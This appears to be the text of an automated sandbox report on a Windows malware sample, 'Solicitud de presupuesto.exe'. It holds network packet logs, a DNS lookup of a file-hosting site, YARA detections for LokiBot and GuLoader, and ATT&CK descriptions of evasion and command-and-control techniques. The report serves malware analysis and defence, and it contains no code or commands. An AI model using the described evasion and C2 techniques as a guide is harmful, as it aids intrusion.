Mar 20, 2023 14:36:22.608437061 CET	49696	443	192.168.2.5	104.16.53.48
Mar 20, 2023 14:36:22.608462095 CET	443	49696	104.16.53.48	192.168.2.5
Mar 20, 2023 14:36:23.336218119 CET	443	49696	104.16.53.48	192.168.2.5
Mar 20, 2023 14:36:23.336345911 CET	443	49696	104.16.53.48	192.168.2.5
Mar 20, 2023 14:36:23.336400032 CET	49696	443	192.168.2.5	104.16.53.48
Mar 20, 2023 14:36:23.336442947 CET	49696	443	192.168.2.5	104.16.53.48
Mar 20, 2023 14:36:23.367258072 CET	49696	443	192.168.2.5	104.16.53.48
Mar 20, 2023 14:36:23.367310047 CET	443	49696	104.16.53.48	192.168.2.5
Mar 20, 2023 14:36:23.432737112 CET	49697	443	192.168.2.5	104.16.53.48
Mar 20, 2023 14:36:23.432800055 CET	443	49697	104.16.53.48	192.168.2.5
Mar 20, 2023 14:36:23.432889938 CET	49697	443	192.168.2.5	104.16.53.48
Mar 20, 2023 14:36:23.433921099 CET	49697	443	192.168.2.5	104.16.53.48
Mar 20, 2023 14:36:23.433958054 CET	443	49697	104.16.53.48	192.168.2.5
Mar 20, 2023 14:36:23.499929905 CET	443	49697	104.16.53.48	192.168.2.5
Mar 20, 2023 14:36:23.500080109 CET	49697	443	192.168.2.5	104.16.53.48
Mar 20, 2023 14:36:23.500830889 CET	49697	443	192.168.2.5	104.16.53.48
Mar 20, 2023 14:36:23.500854969 CET	443	49697	104.16.53.48	192.168.2.5
Mar 20, 2023 14:36:23.518388987 CET	49697	443	192.168.2.5	104.16.53.48
Mar 20, 2023 14:36:23.518415928 CET	443	49697	104.16.53.48	192.168.2.5
Mar 20, 2023 14:36:23.694819927 CET	443	49697	104.16.53.48	192.168.2.5
Mar 20, 2023 14:36:23.694914103 CET	443	49697	104.16.53.48	192.168.2.5
Mar 20, 2023 14:36:23.694967031 CET	443	49697	104.16.53.48	192.168.2.5
Mar 20, 2023 14:36:23.695353031 CET	443	49697	104.16.53.48	192.168.2.5
Mar 20, 2023 14:36:23.701019049 CET	443	49697	104.16.53.48	192.168.2.5
Mar 20, 2023 14:36:23.701715946 CET	49697	443	192.168.2.5	104.16.53.48
Mar 20, 2023 14:36:23.701766014 CET	443	49697	104.16.53.48	192.168.2.5
Mar 20, 2023 14:36:23.701791048 CET	443	49697	104.16.53.48	192.168.2.5
Mar 20, 2023 14:36:23.704377890 CET	49697	443	192.168.2.5	104.16.53.48
Mar 20, 2023 14:36:23.712850094 CET	49697	443	192.168.2.5	104.16.53.48
Mar 20, 2023 14:36:23.712898970 CET	443	49697	104.16.53.48	192.168.2.5
Mar 20, 2023 14:36:24.341213942 CET	49698	443	192.168.2.5	104.16.53.48
Mar 20, 2023 14:36:24.341284990 CET	443	49698	104.16.53.48	192.168.2.5
Mar 20, 2023 14:36:24.341403008 CET	49698	443	192.168.2.5	104.16.53.48
Mar 20, 2023 14:36:24.342258930 CET	49698	443	192.168.2.5	104.16.53.48
Mar 20, 2023 14:36:24.342287064 CET	443	49698	104.16.53.48	192.168.2.5
Mar 20, 2023 14:36:24.425365925 CET	443	49698	104.16.53.48	192.168.2.5
Mar 20, 2023 14:36:24.425596952 CET	49698	443	192.168.2.5	104.16.53.48
Mar 20, 2023 14:36:24.426661015 CET	49698	443	192.168.2.5	104.16.53.48
Mar 20, 2023 14:36:24.426680088 CET	443	49698	104.16.53.48	192.168.2.5
Mar 20, 2023 14:36:24.443453074 CET	49698	443	192.168.2.5	104.16.53.48
Mar 20, 2023 14:36:24.443486929 CET	443	49698	104.16.53.48	192.168.2.5
Mar 20, 2023 14:36:25.382792950 CET	443	49698	104.16.53.48	192.168.2.5
Mar 20, 2023 14:36:25.382870913 CET	49698	443	192.168.2.5	104.16.53.48
Mar 20, 2023 14:36:25.382909060 CET	443	49698	104.16.53.48	192.168.2.5
Mar 20, 2023 14:36:25.382956982 CET	443	49698	104.16.53.48	192.168.2.5
Mar 20, 2023 14:36:25.382956982 CET	49698	443	192.168.2.5	104.16.53.48
Mar 20, 2023 14:36:25.383004904 CET	49698	443	192.168.2.5	104.16.53.48
Mar 20, 2023 14:36:25.384213924 CET	49698	443	192.168.2.5	104.16.53.48
Mar 20, 2023 14:36:25.384246111 CET	443	49698	104.16.53.48	192.168.2.5
Mar 20, 2023 14:36:25.434571028 CET	49699	443	192.168.2.5	104.16.53.48
Mar 20, 2023 14:36:25.434627056 CET	443	49699	104.16.53.48	192.168.2.5
Mar 20, 2023 14:36:25.434736967 CET	49699	443	192.168.2.5	104.16.53.48
Mar 20, 2023 14:36:25.435261011 CET	49699	443	192.168.2.5	104.16.53.48
Mar 20, 2023 14:36:25.435282946 CET	443	49699	104.16.53.48	192.168.2.5
Mar 20, 2023 14:36:25.512198925 CET	443	49699	104.16.53.48	192.168.2.5
Mar 20, 2023 14:36:25.514023066 CET	49699	443	192.168.2.5	104.16.53.48
Mar 20, 2023 14:36:25.514806986 CET	49699	443	192.168.2.5	104.16.53.48
Mar 20, 2023 14:36:25.514825106 CET	443	49699	104.16.53.48	192.168.2.5
Mar 20, 2023 14:36:25.520051956 CET	49699	443	192.168.2.5	104.16.53.48
Mar 20, 2023 14:36:25.520066977 CET	443	49699	104.16.53.48	192.168.2.5
Mar 20, 2023 14:36:25.558515072 CET	443	49699	104.16.53.48	192.168.2.5
Mar 20, 2023 14:36:25.558629036 CET	443	49699	104.16.53.48	192.168.2.5
Mar 20, 2023 14:36:25.558747053 CET	443	49699	104.16.53.48	192.168.2.5
Mar 20, 2023 14:36:25.558780909 CET	49699	443	192.168.2.5	104.16.53.48
Mar 20, 2023 14:36:25.558804035 CET	443	49699	104.16.53.48	192.168.2.5
Mar 20, 2023 14:36:25.558851004 CET	443	49699	104.16.53.48	192.168.2.5
Mar 20, 2023 14:36:25.558860064 CET	49699	443	192.168.2.5	104.16.53.48
Mar 20, 2023 14:36:25.558860064 CET	49699	443	192.168.2.5	104.16.53.48
Mar 20, 2023 14:36:25.558876038 CET	443	49699	104.16.53.48	192.168.2.5
Mar 20, 2023 14:36:25.558927059 CET	49699	443	192.168.2.5	104.16.53.48
Mar 20, 2023 14:36:25.558937073 CET	443	49699	104.16.53.48	192.168.2.5
Mar 20, 2023 14:36:25.558954000 CET	443	49699	104.16.53.48	192.168.2.5
Mar 20, 2023 14:36:25.558995008 CET	49699	443	192.168.2.5	104.16.53.48
Mar 20, 2023 14:36:25.559501886 CET	443	49699	104.16.53.48	192.168.2.5
Mar 20, 2023 14:36:25.559607029 CET	443	49699	104.16.53.48	192.168.2.5
Mar 20, 2023 14:36:25.559674978 CET	49699	443	192.168.2.5	104.16.53.48
Mar 20, 2023 14:36:25.559691906 CET	443	49699	104.16.53.48	192.168.2.5
Mar 20, 2023 14:36:25.559732914 CET	49699	443	192.168.2.5	104.16.53.48
Mar 20, 2023 14:36:25.559743881 CET	443	49699	104.16.53.48	192.168.2.5
Mar 20, 2023 14:36:25.560225010 CET	443	49699	104.16.53.48	192.168.2.5
Mar 20, 2023 14:36:25.560269117 CET	443	49699	104.16.53.48	192.168.2.5
Mar 20, 2023 14:36:25.560334921 CET	49699	443	192.168.2.5	104.16.53.48
Mar 20, 2023 14:36:25.560334921 CET	49699	443	192.168.2.5	104.16.53.48
Mar 20, 2023 14:36:25.560354948 CET	443	49699	104.16.53.48	192.168.2.5
Mar 20, 2023 14:36:25.561136007 CET	443	49699	104.16.53.48	192.168.2.5
Mar 20, 2023 14:36:25.561206102 CET	443	49699	104.16.53.48	192.168.2.5
Mar 20, 2023 14:36:25.561212063 CET	49699	443	192.168.2.5	104.16.53.48
Mar 20, 2023 14:36:25.561229944 CET	443	49699	104.16.53.48	192.168.2.5
Mar 20, 2023 14:36:25.561254978 CET	49699	443	192.168.2.5	104.16.53.48

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 20, 2023 14:36:22.142857075 CET	56894	53	192.168.2.5	8.8.8.8
Mar 20, 2023 14:36:22.164997101 CET	53	56894	8.8.8.8	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 20, 2023 14:36:22.142857075 CET	192.168.2.5	8.8.8.8	0xca78	Standard query (0)	www.mediafire.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 20, 2023 14:36:22.164997101 CET	8.8.8.8	192.168.2.5	0xca78	No error (0)	www.mediafire.com		104.16.53.48	A (IP address)	IN (0x0001)	false
Mar 20, 2023 14:36:22.164997101 CET	8.8.8.8	192.168.2.5	0xca78	No error (0)	www.mediafire.com		104.16.54.48	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.mediafire.com

Target ID:	0
Start time:	14:35:19
Start date:	20/03/2023
Path:	C:\Users\user\Desktop\Solicitud de presupuesto.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\Solicitud de presupuesto.exe
Imagebase:	0x400000
File size:	86016 bytes
MD5 hash:	E6F54CE2BE4854FDCA9C97450C347A2C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Visual Basic
Yara matches:	Rule: LokiBot_Dropper_Packed_R11_Feb18, Description: Auto-generated rule - file scan copy.pdf.r11, Source: 00000000.00000000.307522232.000000000040D000.00000020.00000001.01000000.00000003.sdmp, Author: Florian Roth (Nextron Systems) Rule: LokiBot_Dropper_Packed_R11_Feb18, Description: Auto-generated rule - file scan copy.pdf.r11, Source: 00000000.00000002.404604650.000000000040D000.00000020.00000001.01000000.00000003.sdmp, Author: Florian Roth (Nextron Systems)
Reputation:	low

Analysis Process: Solicitud de presupuesto.exePID: 1352, Parent PID: 5800

General

Target ID:	1
Start time:	14:36:04
Start date:	20/03/2023
Path:	C:\Users\user\Desktop\Solicitud de presupuesto.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\Solicitud de presupuesto.exe
Imagebase:	0x400000
File size:	86016 bytes
MD5 hash:	E6F54CE2BE4854FDCA9C97450C347A2C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: LokiBot_Dropper_Packed_R11_Feb18, Description: Auto-generated rule - file scan copy.pdf.r11, Source: 00000001.00000000.403982899.000000000040D000.00000020.00000001.01000000.00000003.sdmp, Author: Florian Roth (Nextron Systems) Rule: JoeSecurity_GuLoader, Description: Yara detected GuLoader, Source: 00000001.00000002.575875706.0000000000560000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Disassembly

⊘No disassembly

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Solicitud de presupuesto.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: GuLoader

Yara Signatures

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

Statistics

Behavior

System Behavior

Windows Analysis Report
Solicitud de presupuesto.exe